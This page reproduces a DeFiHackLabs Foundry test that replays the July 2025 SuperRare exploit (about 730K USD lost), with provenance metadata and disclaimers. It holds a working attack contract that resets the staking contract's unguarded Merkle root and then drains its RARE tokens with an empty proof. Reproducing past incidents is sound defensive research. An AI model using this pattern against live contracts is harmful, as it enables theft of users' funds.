Skip to content
THREATWIRE

Public reproduction file

src/test/2025-07/SuperRare_exp.sol

Public reproduction file for dataset entry SuperRare.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-07/SuperRare_exp.sol79 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 730K USD
8// Attacker : https://etherscan.io/address/0x5b9b4b4dafbcfceea7afba56958fcbb37d82d4a2
9// Attack Contract : https://etherscan.io/address/0x08947cedf35f9669012bda6fda9d03c399b017ab
10// Vulnerable Contract : https://etherscan.io/address/0xfFB512B9176D527C5D32189c3e310Ed4aB2Bb9eC
11// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0xd813751bfb98a51912b8394b5856ae4515be6a9c6e5583e06b41d9255ba6e3c1
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0xfFB512B9176D527C5D32189c3e310Ed4aB2Bb9eC#code
16// @Analysis
17// Post-mortem : N/A
18// Twitter Guy : https://x.com/SlowMist_Team/status/1949770231733530682
19// Hacking God : https://blog.solidityscan.com/superrare-hack-analysis-488d544d89e0
20pragma solidity ^0.8.0;
22address constant ERC1967Proxy = 0x3f4D749675B3e48bCCd932033808a7079328Eb48;
23address constant RARE_TOKEN = 0xba5BDe662c17e2aDFF1075610382B9B691296350;
24address constant ATTACKER = 0x5B9B4B4DaFbCfCEEa7aFbA56958fcBB37d82D4a2;
25address constant ATTACK_CONTRACT = 0x08947cedf35f9669012bDA6FdA9d03c399B017Ab;
27// 1753690919
28contract SuperRare is BaseTestWithBalanceLog {
29 uint256 blocknumToForkFrom = 23016423 - 1;
31 function setUp() public {
32 vm.createSelectFork("mainnet", blocknumToForkFrom);
33 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
34 fundingToken = RARE_TOKEN;
35 }
37 function testExploit() public balanceLog {
38 // deploy attack contract and etch it to ATTACK_CONTRACT address
39 AttackContract acTemp = new AttackContract();
40 bytes memory code = address(acTemp).code;
41 vm.etch(ATTACK_CONTRACT, code);
42 AttackContract ac = AttackContract(ATTACK_CONTRACT);
44 uint256 stakingContractBalance = ac.getStakingContractBalance();
45 console.log("stakingContractBalance", stakingContractBalance);
46 // 11907874713019104529057960
48 uint256 tokenBalance = ac.getTokenBalance();
49 console.log("attackContract Balance Before", tokenBalance);
50 // 0
52 bytes32 fakeRoot = 0x93f3c0d0d71a7c606fe87524887594a106b44c65d46fa72a42d80bd6259ade7e;
53 ac.attack(fakeRoot, stakingContractBalance);
55 uint256 tokenBalanceAfter = ac.getTokenBalance();
56 console.log("attackContract Balance After", tokenBalanceAfter);
57 // 11907874713019104529057960
58 }
61contract AttackContract {
62 function getStakingContractBalance() public view returns (uint256) {
63 return IERC20(RARE_TOKEN).balanceOf(ERC1967Proxy);
64 }
65 function getTokenBalance() public view returns (uint256) {
66 return IERC20(RARE_TOKEN).balanceOf(address(this));
67 }
68 function attack(bytes32 newRoot, uint256 amout) public {
69 IERC1967Proxy target = IERC1967Proxy(ERC1967Proxy);
70 target.updateMerkleRoot(newRoot);
71 bytes32[] memory proof = new bytes32[](0);
72 target.claim(amout, proof);
73 }
76interface IERC1967Proxy {
77 function updateMerkleRoot(bytes32 newRoot) external;
78 function claim(uint256 amount, bytes32[] calldata proof) external;

Analysis

Dataset entry

Public Foundry test for “SuperRare” (2025-07-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x5b9b4b4dafbcfceea7afba56958fcbb37d82d4a2

  • Attack Contract

    0x08947cedf35f9669012bda6fda9d03c399b017ab

  • Vulnerable Contract

    0xffb512b9176d527c5d32189c3e310ed4ab2bb9ec

  • Attack Tx

    0xd813751bfb98a51912b8394b5856ae4515be6a9c6e5583e06b41d9255ba6e3c1

File record

Name
SuperRare
Path
src/test/2025-07/SuperRare_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
c43bf837f413a927e6e508b3f3a3c778dceccb6e
Language
Solidity
Size
80 lines
Date
2025-07-28
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-07/SuperRare_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob c43bf837f413a927e6e508b3f3a3c778dceccb6e, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.